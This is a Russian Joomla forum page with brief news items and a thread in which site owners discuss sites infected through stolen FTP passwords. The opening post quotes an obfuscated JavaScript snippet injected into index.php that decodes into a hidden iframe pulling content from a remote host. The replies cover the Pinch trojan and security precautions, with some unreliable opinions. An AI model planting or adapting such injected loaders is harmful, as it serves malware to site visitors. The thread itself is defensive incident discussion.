Новости Joomla

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

👩‍💻 Релиз JoomGallery 4.3.0 - компонент галереи изображений для Joomla.

👩‍💻 Релиз JoomGallery 4.3.0 - компонент галереи изображений для Joomla.

Одна из самых популярных и старейших фото-галерей для Joomla получила новую версию.

👉 v.4.3.0. Что нового?
Панель управления для зарегистрированных пользователей. В этой версии появилась возможность каждому зарегистрированному пользователю управлять своими категориями и изображениями во фронтенде сайта.

Документация по новой функции.
Сайт проекта

@joomlafeed

👩‍💻 Вместе мы развиваем Joomla: станьте Joomfluencer!

👩‍💻 Вместе мы развиваем Joomla: станьте Joomfluencer!

Вы уверенно чувствуете себя перед камерой, динамичны, обаятельны и всегда улыбаетесь? Чувствуете себя искателем приключений, готовым поделиться своими исследованиями CMS Joomla!, взять интервью у видных деятелей сообщества, пообщаться лично или по видеосвязи с волонтерами Joomla или отправиться на поиски новых идей?

Joomla ищет одного или нескольких волонтеров, готовых вдохнуть новую жизнь в обсуждение Joomla, ее CMS, пользователей, сообщества и многого другого.

Возможны самые разные форматы и темы: шортсы, интервью, аналитика и разборы в режиме реального времени, быстрые советы и рекомендации, знакомство с миром Joomla, изучение открытого исходного кода... Нет никаких ограничений!

Joomla! уже активно представлена ​​во многих социальных сетях:
- 155K подписчиков на Facebook,
- 55K подписчиков на X (ранее Twitter),
- 16K подписчиков на YouTube,
- 14K подписчиков на LinkedIn,
- 5,7K подписчиков в Instagram
а так же другие площадки ждут вас. Аккаунты Threads и Bluesky относительно новые, но их популярность только растёт!

А если хватит энергии, можно рассмотреть и TikTok!

❓ Итак, вы готовы?
👉 Свяжитесь с отделом маркетинга по адресу: marketing@community.joomla.org

Подробности в статье в Joomla Community Magazine.

@joomlafeed

1   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 25 Ответов
  • 8894 Просмотров
*

duddy

  • Захожу иногда
  • 65
  • 0 / 0
Важно !!! взлом сайтов новым вирусом
« : 11.02.2009, 10:07:03 »
сегодня поломали сайт новым вирусом.
дописывает в конец index.php
вот такую строчку в <script> вредоносный код ниже, сам вредоносен и качает файлы pdf зараженные. </script>:

Цитировать
var source ="=jgsbnf!tsd>#iuuq;00svtsn/dpn0dpvoufs0hp/qiq@tje>2#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);

стоит joomla 1.0.12
доп компоненты: AdsManager 2.1.19, linx 1.хз
Записан
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #1 : 11.02.2009, 10:10:13 »
Уважаемый, ну почитали бы вы форум и сразу бы нашли ответ. Ничего нового в данном случае нет и не было. Как воровали трояны у беспечных пользователей пароли к FTP так и воруют. И до тех пор, пока пользователи не начнут серьезно относиться к вопросам безопасности - данная ситуация будет повторяться с завидной регулярностью.
Записан
*

duddy

  • Захожу иногда
  • 65
  • 0 / 0
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #2 : 11.02.2009, 10:22:27 »
пароль от фтп хранится у меня в архиве rar под большим паролем
да и сам пароль не маленький.
Записан
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #3 : 11.02.2009, 10:24:09 »
И из архива в FTP-клиент он попадает сам по себе, минуя буфер обмена? Тогда можно предположить только одно - волшебство.
Записан
*

duddy

  • Захожу иногда
  • 65
  • 0 / 0
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #4 : 11.02.2009, 10:36:57 »
ну почему же, как будь то больше нет возможности взломать сайт кроме как своровать пароль от фтп
дак и у меня на аккаунте том не один сайт а 4
а взломали только 2 из них, причем код вирусы в сайты дописали разный
« Последнее редактирование: 11.02.2009, 10:40:07 от duddy »
Записан
*

duddy

  • Захожу иногда
  • 65
  • 0 / 0
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #5 : 11.02.2009, 10:56:20 »
ответ от саппорта:
Механизм заражения сайта следующий. Индексные страницы менялись посредством FTP ЛЕГАЛЬНОГО подключения, т.е. никакого взлома сайта не производилось, а всего лишь осуществлялся вход по логину/паролю и последующая модификация файлов сайта. После более детального изучения выяснилось, что подобное поведение присуще Trojan'ской программе семейства Pinch, которая умеет обходить брандмауэры и антивирусные программы и похищает все к чему может дотянуться, в том числе пароли, сохраненные в IE, CuteFTP, Total Commander и еще десятке различных программ.

Само заражение происходит следующим образом:
- Сначала загружается Trojan-Downloader.VBS. Psyme.fc или иной - троянская программа-загрузчик других троянов, в последнее время название несколько раз изменялось.
- Именно она подгружает еще два вируса - Trojan-PSW.Win32.LdPinch.bik (или модификация) и Trojan.Win32.Agent.oh (не обязательно).

Вам необходимо:
1. Полная проверка своего компьютера на вирусы, spyware, трояны и прочее вредоносное ПО антивирусом с последними обновлениями, для верности желательно использовать антивирусное ПО нескольких производителей с максимальным уровнем эвристики. Также необходимо проверить на наличие вирусов все компьютеры, имеющие доступ к Вашему FTP.
2. Смена паролей доступа к всем ftp аккаунтам и контрольной панели.
3. Регулярно проверять индексные файлы на предмет появления записей подобного типа. В случае обнаружения удалять вирусную строку.
Записан
*

duddy

  • Захожу иногда
  • 65
  • 0 / 0
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #6 : 11.02.2009, 10:57:44 »
вот эта строка просто убивает:
поведение присуще Trojan'ской программе семейства Pinch, которая умеет обходить брандмауэры и антивирусные программы и похищает все к чему может дотянуться
похоже это случилось со мной и может случится с вами, и даже каждодневное обновление касперского не помогает.
антивирусы как решето для них...
Записан
*

b2z

  • Глобальный модератор
  • 7288
  • 778 / 0
  • Разраблю понемногу
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #7 : 11.02.2009, 10:59:17 »
Вот поэтому после этих случаев я не храню пароли в фтп... Тьфу тьфу тьфу...
Записан
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #8 : 11.02.2009, 11:13:41 »
Цитата: duddy от 11.02.2009, 10:57:44
поведение присуще Trojan'ской программе семейства Pinch, которая умеет обходить брандмауэры и антивирусные программы
насколько я помню, Kaspersky умел ловить Trojan-PSW.Win32.PdPinch, Trojan-PSW.Win32.LdPinch и им подобные еще в 2007 году. Да и если мне опять же память не изменяет, то авторы данных троянов тоже были найдены товарищами из ФСБ. Модификаций этих зверюшек было много, но касперский их всегда успешно ловил.
Записан
*

duddy

  • Захожу иногда
  • 65
  • 0 / 0
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #9 : 11.02.2009, 11:47:42 »
нет это не верно...
кстати сказать я уже где то года полтора назад ловил у себя на компе Pinch который не знала ни один из извествествных антивирей(в том числе и всеми любимый каспер и нод32), послал на анализ и дествительно оказался шпиён.
так что блин всеже антивирусы пока что слабы в плане новых разновидностей троянов и других тварей.
« Последнее редактирование: 11.02.2009, 11:53:56 от duddy »
Записан
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #10 : 11.02.2009, 11:49:55 »
Ну во-первых Nod32 никогда троянов и не ловил, и по мне это вообще не антивирус, можно сказать антивирусный файрвол, но не антивирус, он фактически ничего лечить не умеет. А во-вторых, почему-то у меня за последние 8 лет ни разу подобной проблемы не возникало... Может я волшебник? Или может потому, что я всегда придерживаюсь вполне простых правил безопасности?
Записан
*

duddy

  • Захожу иногда
  • 65
  • 0 / 0
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #11 : 11.02.2009, 11:53:39 »
вы знаете у меня за последние 10  лет тоже это первый раз когда взломали таки что то, но тем не менее будьте бдительнее товарищи, до сегодняшнего дня я тоже считал себя волшебником)))

p.s. вот примеры моих переписок с лабой Касперского за последнее время:
В присланном Вами файле обнаружено новое вредоносное программное обеспечение (Trojan-Downloader.Win32.Horst.ap).
Его детектирование будет включено в очередное обновление антивирусных баз.
Благодарим за оказанную помощь.
и т.д. уже не один раз...
Записан
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Важно !!! взлом сайтов новым вирусом
« Ответ #12 : 11.02.2009, 12:54:04 »
Безусловно, вируосписатели не стоят на месте, и в отличие от разработчиков антивирусов, они чуть-чуть но впереди - они всегда могут проверить свое творение на стойкость к свежим антивирусам.

Но ведь есть куча простых мер безопасности, которые могут помочь. Например:

1. Не посещать малознакомые сайты
2. Ограничить доступ в административную панель сайта по IP
3. Ограничить доступ к FTP по IP
4. Не держать на сайте постоянно открытым FTP, а открывать только тогда, когда он реально нужен. В большинстве случаев это требуется только на этапе настройки сайта или при обновлении.
5. Не использовать IE при работе с незнакомыми сайтами (львиная доля троянов проходит именно с IE)
6. Регулярно менять пароли и на FTP и на административные пароли - даже если утянут, есть вероятность, что воспользоваться не успеют.
7. Регулярно делать резервные копии сайта, чтобы была возможность оперативно откатиться на оригинальную, не зараженную версию.
8. Регулярно обновлять базы антивирусного ПО, использовать какой-либо firewall для мониторинга подозрительной активности на компьютере.
Записан
*

Hawk-5

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Важно ! взлом сайтов новым вирусом
« Ответ #13 : 21.07.2010, 14:03:18 »
Цитировать
2. Ограничить доступ в административную панель сайта по IP
3. Ограничить доступ к FTP по IP
А как это сделать? Подскажите пожалуйста.

И если можно объясните мне что такое FTP?
« Последнее редактирование: 21.07.2010, 14:40:06 от Hawk-5 »
Записан
*

crazyASD

  • Давно я тут
  • 582
  • 26 / 2
Re: Важно ! взлом сайтов новым вирусом
« Ответ #14 : 22.07.2010, 11:41:38 »
9. Отказаться от использования Windows и перейти на Linux или Mac OS. Этот пункт наиболее эффективен.
Записан
Сон разума порождает монстров
--
Фрилансом не занимаюсь. Никому ничего не должен. Отвечаю по мере знания и умения. -- JFusion - Наше всё! Joomla 1.5.23 SMF 1.1.15 JFusion 1.5.6 JComments 2.2.0 JoomGallery 1.5.6.4 JDownloads 1.8
*

tbhost

  • Захожу иногда
  • 158
  • 10 / 6
Re: Важно ! взлом сайтов новым вирусом
« Ответ #15 : 22.07.2010, 12:13:11 »
Цитата: crazyASD от 22.07.2010, 11:41:38
9. Отказаться от использования Windows и перейти на Linux или Mac OS. Этот пункт наиболее эффективен.
С этим пунктом отпадает пункт IE, насчет кой какого firewall в пункте 8 не совсем согласен, нужно нормально настраивать айпитаблес и открывать только нужные порты...
Записан
*

llektor

  • Захожу иногда
  • 214
  • 2 / 2
Re: Важно ! взлом сайтов новым вирусом
« Ответ #16 : 17.12.2010, 19:08:05 »

Хочу поинтересоваться,на сайте в конце в низу каждой статьи стали появляться в строчку ссылки на незнакомые мне сайты,стал смотреть оказалось что код прячеться где то в css
А узнал что в css я загрузил шаблон с сайт а комп,потом снес шаблон и по новой установил такой же только свежий,а потом по очереди каждый файл каждую папку из старого заражоного шаболна заменял,и именно после замены css папки заражонного шаблона появляются эти ссылки,я проверил все CSS фалы но нечего подозрительно не нашел,не подскажите как такое может быть что в CSS прописан код или еще что
Знаю я разгельдяй и всегда оставляю пароль в FilZilla не думал что такое может произойти с моим сайтом,подскажите пожалуйста если знаете
К стате у меня стои Nod ESET Smart Security
Вот скриншот если будет интересно,на скриншоте обвденные ссылки красным цветом вот они появляются
« Последнее редактирование: 18.12.2010, 20:33:19 от llektor »
Записан
*

Delfinov

  • Захожу иногда
  • 52
  • 0 / 0
Re: Важно ! взлом сайтов новым вирусом
« Ответ #17 : 20.12.2010, 22:58:20 »
У меня такое было, когда я поставил плагин палёный. Причем, вероятно, установщик ссылок зашифрован и находится в Ява или другой библиотеке. Кординальное решение - переустановка Joomla. Либо надо поковыряться профи. Выведи, если есть, сайт из бекапа (у провайдера) и установи все для безопасности (как вариант).
Записан
*

beliyadm

  • Легенда
  • 9758
  • 1665 / 66
  • Севастополь, Россия
Re: Важно ! взлом сайтов новым вирусом
« Ответ #18 : 20.12.2010, 23:07:04 »
Цитата: smart от 11.02.2009, 11:49:55
Ну во-первых Nod32 никогда троянов и не ловил, и по мне это вообще не антивирус, можно сказать антивирусный файрвол, но не антивирус, он фактически ничего лечить не умеет. А во-вторых, почему-то у меня за последние 8 лет ни разу подобной проблемы не возникало... Может я волшебник? Или может потому, что я всегда придерживаюсь вполне простых правил безопасности?
ИНтересно, даже регулярно посещая всякие взрослые ресурсы (естественно бохатые на подобное добро) аналогично никогда ничего не ловил, стоит каспер (лицензия на Internet Security). Правда обычно еще сижу из под outpost домашнего (потому как дома выделенный IP), там тоже правил всяких написано
Потому храню все везде и ни за что не боюсь, элементарная безопасность и некоторое количество денег на лицензию - нет проблем
Записан
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Re: Важно ! взлом сайтов новым вирусом
« Ответ #19 : 20.12.2010, 23:23:17 »
Цитата: beliyadm от 20.12.2010, 23:07:04
Потому храню все везде и ни за что не боюсь
Молод ты еще и недостаточно параноидален ;) Если у вас нет паранойи, это еще не значит, что они за вами не следят (с)
Записан
*

beliyadm

  • Легенда
  • 9758
  • 1665 / 66
  • Севастополь, Россия
Re: Важно ! взлом сайтов новым вирусом
« Ответ #20 : 20.12.2010, 23:41:32 »
Цитата: smart от 20.12.2010, 23:23:17
Молод ты еще и недостаточно параноидален
админы делятся на тех, кто уже делает бекапы и кто их еще не делает? Знаем знаем :)
Но увы, за столько лет у меня не было ни одного факта вируса на компе, тем более троянов взломов и прочего, что при моем уровне серфинга как минимум невозможно в обычных обстоятельствах.
фаер+антивирус+элементарная внимательность в сети опосля 300 грамм и нет никаких проблем
Записан
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Важно ! взлом сайтов новым вирусом
« Ответ #21 : 20.12.2010, 23:51:57 »
Цитата: beliyadm от 20.12.2010, 23:41:32
админы делятся на тех, кто уже делает бекапы и кто их еще не делает? Знаем знаем :)
Но увы, за столько лет у меня не было ни одного факта вируса на компе, тем более троянов взломов и прочего, что при моем уровне серфинга как минимум невозможно в обычных обстоятельствах.
фаер+антивирус+элементарная внимательность в сети опосля 300 грамм и нет никаких проблем
Не каркай... у меня на домашнем винда года за 3 также ни одного вируса не подхватила, но паранойя и доступ к далеко не дешевым клиентским сайтам (ну и плюс еще разное) увели меня на linux.

PS Если начнется атака на конкретного человека, тут на винде ничего не спасет
Записан
*

llektor

  • Захожу иногда
  • 214
  • 2 / 2
Re: Важно ! взлом сайтов новым вирусом
« Ответ #22 : 20.12.2010, 23:53:55 »
Цитата: Delfinov от 20.12.2010, 22:58:20
У меня такое было, когда я поставил плагин палёный. Причем, вероятно, установщик ссылок зашифрован и находится в Ява или другой библиотеке

Мне кажется что плагин тут не причем,и при том что кроме шаблона я не каких плагинов или расширений больше не ставил,чистая Joomla стоит,но как только я удалил и переустановил такой же шаблон то ссылки исчезли,в этом шаблоне есть несколько JS файлов может в них код прописан но такие файлы я проверять немогу,возможно что утащили пароль и установили код,еще раз повтарюсь при замене шаблоны ссылки исчезли
Естесвено я данные фтп и хостинга поменял,я везде поменял где можно,но все равно интересно как поал туда код
« Последнее редактирование: 20.12.2010, 23:57:56 от llektor »
Записан
*

beliyadm

  • Легенда
  • 9758
  • 1665 / 66
  • Севастополь, Россия
Re: Важно ! взлом сайтов новым вирусом
« Ответ #23 : 21.12.2010, 00:05:41 »
Цитата: voland от 20.12.2010, 23:51:57
PS Если начнется атака на конкретного человека, тут на винде ничего не спасет
тут уж никакая система не спасет, пробьют любым путем, так что никсы не панацея
Записан
Все истины, которые я хочу вам изложить, — бесстыдная ложь. Сделать всё хорошо
TLG: @Beliyadm
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Важно ! взлом сайтов новым вирусом
« Ответ #24 : 21.12.2010, 00:08:37 »
Цитата: beliyadm от 21.12.2010, 00:05:41
тут уж никакая система не спасет, пробьют любым путем, так что никсы не панацея
Не панацея естественно, но ЗАМЕТНО усложнят поиск дыр, особенно если учесть как небыстро MS правит свои дырки и их способ установки (ну вот работаю я сейчас под никсами дней 20 без рестарта, ежедневно обновляясь) с рестартом (взять многие серверы - там рестарт тупо недопустим слишком часто)
Записан
*

NeZ

  • Захожу иногда
  • 290
  • 22 / 4
  • Большой программе - большие глюки
Re: Важно ! взлом сайтов новым вирусом
« Ответ #25 : 01.01.2011, 13:08:12 »
Цитата: crazyASD от 22.07.2010, 11:41:38
9. Отказаться от использования Windows и перейти на Linux или Mac OS. Этот пункт наиболее эффективен.
Возможно, но все же люнукс на столько дырявая система, что ломануть ее как 5 пальцев об асфальт. А считают ее безопасной только потому, что вирусописателям она на фиг не нужен, ибо львиная доля пользователей сидят на винде.
Цитата: duddy от 11.02.2009, 10:56:20
поведение присуще Trojan'ской программе семейства Pinch, которая умеет обходить брандмауэры и антивирусные программы
Даже не смотря что создателей дятьки поймали, пинч развивается с каждым днем. В данном случае даже сейчас он идет дальше чем каспер шага на 2.
ЗЫ: Сам его пробывал, ни один догдашний антивир его не обнаружил. АйЕ он пробивает за 1 секунду, тащет все.... даже с мыла когда приходит, его скачивать не надо. Вот так.
Записан
1   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Проблема с хитрым вирусом

Автор Sleepwalker

 Ответов: 21
Просмотров: 36722 		Последний ответ 21.08.2025, 13:23:29
от web1
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

 Ответов: 1
Просмотров: 4147 		Последний ответ 25.05.2023, 08:49:57
от Театрал
Похоже на взлом J! 3.5

Автор memo

 Ответов: 7
Просмотров: 3639 		Последний ответ 23.09.2022, 10:56:06
от marksetter
Изолирование папок сайтов на OpenServer

Автор Lemady

 Ответов: 41
Просмотров: 8397 		Последний ответ 29.11.2021, 15:47:31
от KoreshS
[Решено] Заразились в один день 4 аккаунта по 10 сайтов

Автор Stich SPb

 Ответов: 356
Просмотров: 81921 		Последний ответ 13.09.2019, 18:49:33
от diana1975